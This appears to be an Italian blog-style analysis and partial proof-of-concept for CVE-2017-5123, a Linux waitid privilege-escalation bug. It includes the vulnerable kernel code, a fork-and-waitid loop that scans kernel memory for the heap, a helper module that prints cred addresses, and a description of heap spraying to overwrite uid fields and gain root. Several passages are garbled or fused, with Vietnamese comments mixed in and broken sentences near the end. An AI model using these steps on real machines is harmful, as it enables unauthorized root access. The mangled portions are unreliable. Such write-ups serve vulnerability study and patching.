
Analisi tecnica dettagliata e proof-of-concept exploit per CVE-2017-5123, una vulnerabilità della chiamata di sistema waitid del kernel Linux che consente l'escalation dei privilegi locali tramite un controllo access_ok() mancante.
La system call waitid nel kernel Linux non convalidava l'indirizzo di destinazione utilizzato. Ciò poteva consentire a un utente locale di scrivere nella memoria del kernel, portando potenzialmente a un'escalation dei privilegi sul dispositivo o a un escape dalla sandbox.
kernel/exit.c
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin(); // bản chất là gọi stac(), tạm thời tắt SMAP
unsafe_put_user(signo, &infop->si_signo, Efault); // <- thiếu access_ok() check trc khi gọi hàm này
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end(); // bản chất là gọi clac(), bật lại SMAP
return err;
Efault:
user_access_end();
return -EFAULT;
}
L'errore identificato qui è la mancanza del controllo access_ok() prima di chiamare la funzione unsafe_put_user(). Nelle versioni precedenti del kernel, il programma utilizzava la funzione put_user(), che includeva la chiamata del controllo access_ok().
put_user(x, void __user *ptr)
if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
return -EFAULT
user_access_begin()
*ptr = x
user_access_end()
Con l'uso della funzione unsafe_put_user(), il programma evita di dover attivare/disattivare SMAP molte volte in rapida successione chiamando user_access_begin() / user_access_end(). La funzione access_ok() qui verifica la validità dell'indirizzo ptr, assicurando che appartenga allo spazio utente, impedendo all'utente di scrivere nella memoria del kernel. Quindi, se chiamiamo la syscall waitid con il parametro infop come indirizzo del kernel, si innesca questo errore.
La mancanza del controllo access_ok() ci permette di passare un indirizzo del kernel come parametro infop di waitid, dopodiché la syscall sovrascriverà questo indirizzo chiamando unsafe_put_user(). Una limitazione è che non possiamo controllare cosa verrà scritto nell'indirizzo del kernel fornito. Ci sono 6 campi usati per la scrittura: signo, byte nullo, info.cause, info.pid (valore massimo 0x8000), info.uid, info.status (tipo int32 ma solo valori >0, <256). Il campo più utile è probabilmente il byte nullo. Possiamo usarlo per sovrascrivere cred->euid e cred->uid. Per fare ciò, dobbiamo conoscere l'indirizzo di questi due valori.
Secondo kernel.org, l'indirizzo della memoria virtuale del kernel condiviso tra tutti i processi inizia da 0xffff800000000000, tuttavia da 0xffff800000000000 a 0xffff87ffffffffff è "... guard hole, also reserved for hypervisor", quindi inizieremo la scansione della memoria dall'indirizzo 0xffff880000000000. Va anche detto che possiamo scansionare la memoria perché unsafe_put_user() non crasha quando accediamo a indirizzi non validi. Questo impedisce agli utenti non privilegiati di fare DoS del sistema passando indirizzi non validi.
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
pid = fork();
if (pid > 0)
{
if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0)
{
printf("[+] Found %p\n", i);
break;
}
}
else if (pid == 0)
exit(0);
}

Ora conosciamo l'indirizzo dell'heap del kernel. Il passo successivo è determinare l'indirizzo della struct cred.
Sebbene conosciamo l'indirizzo dell'heap del kernel, potrebbe non essere l'indirizzo di inizio dell'heap. Quindi non possiamo calcolare l'indirizzo esatto della struct cred. A questo punto usiamo una tecnica chiamata heap spray.
geteuid(); se restituisce 0, significa che il processo sta girando con privilegi di root -> bingo.waitid() sfruttando la vulnerabilità, indovinando l'indirizzo della struct cred e sovrascrivendo cred->uid a zero.Il debug per trovare l'indirizzo della struct cred dei processi figli richiede molto tempo, quindi ho usato un modulo esistente per stampare l'indirizzo di cred->euid tramite printk().
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h> // for basic filesystem
#include <linux/proc_fs.h> // for the proc filesystem
#include <linux/seq_file.h> // for sequence files
static struct proc_dir_entry* jif_file;
static int
jif_show(struct seq_file *m, void *v)
{
return 0;
}
static int
jif_open(struct inode *inode, struct file *file)
{
printk("EUID: %p\n", ¤t->cred->euid);
return single_open(file, jif_show, NULL);
}
static const struct file_operations jif_fops = {
.owner = THIS_MODULE,
.open = jif_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static int __init
jif_init(void)
{
jif_file = proc_create("jif", 0, NULL, &jif_fops);
if (!jif_file) {
return -ENOMEM;
}
return 0;
}
static void __exit
jif_exit(void)
{
remove_proc_entry("jif", NULL);
}
module_init(jif_init);
module_exit(jif_exit);
MODULE_LICENSE("GPL");

Ho notato che ci sono indirizzi con forme simili, anche dopo un riavvio, l'offset di questi indirizzi rimane simile. Quindi ho deciso di scegliere un indirizzo e poi aggiungere pagineize in un ciclo per indovinare l'indirizzo della struct cred.

Video demo dello sfruttamento
heap addr trovato + offset, e bisogna ridurre l'offset per renderlo utilizzabile su più versioni. Tuttavia, ciò comporta tempi di attacco più lunghi e aumenta la probabilità di kernel panic/crash poiché si potrebbero sovrascrivere altre struct importanti nell'heap.access_ok()